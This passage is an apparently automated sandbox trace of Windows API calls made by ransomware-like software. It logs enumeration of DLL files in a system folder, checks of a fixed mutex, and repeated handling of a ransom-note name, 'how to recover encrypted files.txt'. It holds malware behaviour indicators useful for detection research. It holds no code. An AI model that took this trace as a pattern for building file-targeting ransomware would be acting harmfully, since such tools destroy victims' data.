lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll", lpUsedDefaultChar=0x0) returned 53 [0056.959] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadce.dll", lpUsedDefaultChar=0x0) returned 4 [0056.959] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0056.959] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.959] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.959] GlobalLock (hMem=0x440004) returned 0x550170 [0056.959] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.959] GlobalUnlock (hMem=0x440004) returned 0 [0056.959] GlobalLock (hMem=0x440004) returned 0x550170 [0056.959] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.959] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.959] GlobalUnlock (hMem=0x440004) returned 0 [0056.959] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.959] GlobalUnlock (hMem=0x44000c) returned 0 [0056.959] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.959] CharLowerBuffW (in: lpsz="msadcer.dll", cchLength=0xb | out: lpsz="msadcer.dll") returned 0xb [0056.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dllc", lpUsedDefaultChar=0x0) returned 54 [0056.960] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadcer.dllc", lpUsedDefaultChar=0x0) returned 4 [0056.960] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0056.960] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.960] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.960] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.960] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.960] GlobalUnlock (hMem=0x44000c) returned 0 [0056.960] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.960] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.960] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.960] GlobalUnlock (hMem=0x44000c) returned 0 [0056.960] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.960] GlobalUnlock (hMem=0x440004) returned 0 [0056.961] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.961] CharLowerBuffW (in: lpsz="msadcf.dll", cchLength=0xa | out: lpsz="msadcf.dll") returned 0xa [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll", lpUsedDefaultChar=0x0) returned 53 [0056.961] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadcf.dll", lpUsedDefaultChar=0x0) returned 4 [0056.961] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0056.961] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.961] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.962] GlobalLock (hMem=0x440004) returned 0x550170 [0056.962] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.962] GlobalUnlock (hMem=0x440004) returned 0 [0056.962] GlobalLock (hMem=0x440004) returned 0x550170 [0056.962] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.962] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.962] GlobalUnlock (hMem=0x440004) returned 0 [0056.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.962] GlobalUnlock (hMem=0x44000c) returned 0 [0056.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.962] CharLowerBuffW (in: lpsz="msadcfr.dll", cchLength=0xb | out: lpsz="msadcfr.dll") returned 0xb [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dllc", lpUsedDefaultChar=0x0) returned 54 [0056.963] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadcfr.dllc", lpUsedDefaultChar=0x0) returned 4 [0056.963] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0056.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.963] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.963] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.963] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.963] GlobalUnlock (hMem=0x44000c) returned 0 [0056.963] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.963] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.963] GlobalUnlock (hMem=0x44000c) returned 0 [0056.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.963] GlobalUnlock (hMem=0x440004) returned 0 [0056.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.963] CharLowerBuffW (in: lpsz="msadco.dll", cchLength=0xa | out: lpsz="msadco.dll") returned 0xa [0056.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll", lpUsedDefaultChar=0x0) returned 53 [0056.964] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadco.dll", lpUsedDefaultChar=0x0) returned 4 [0056.964] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0056.964] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.964] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.964] GlobalLock (hMem=0x440004) returned 0x550170 [0056.964] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.964] GlobalUnlock (hMem=0x440004) returned 0 [0056.964] GlobalLock (hMem=0x440004) returned 0x550170 [0056.964] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.964] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.964] GlobalUnlock (hMem=0x440004) returned 0 [0056.964] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.964] GlobalUnlock (hMem=0x44000c) returned 0 [0056.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.965] CharLowerBuffW (in: lpsz="msadcor.dll", cchLength=0xb | out: lpsz="msadcor.dll") returned 0xb [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, 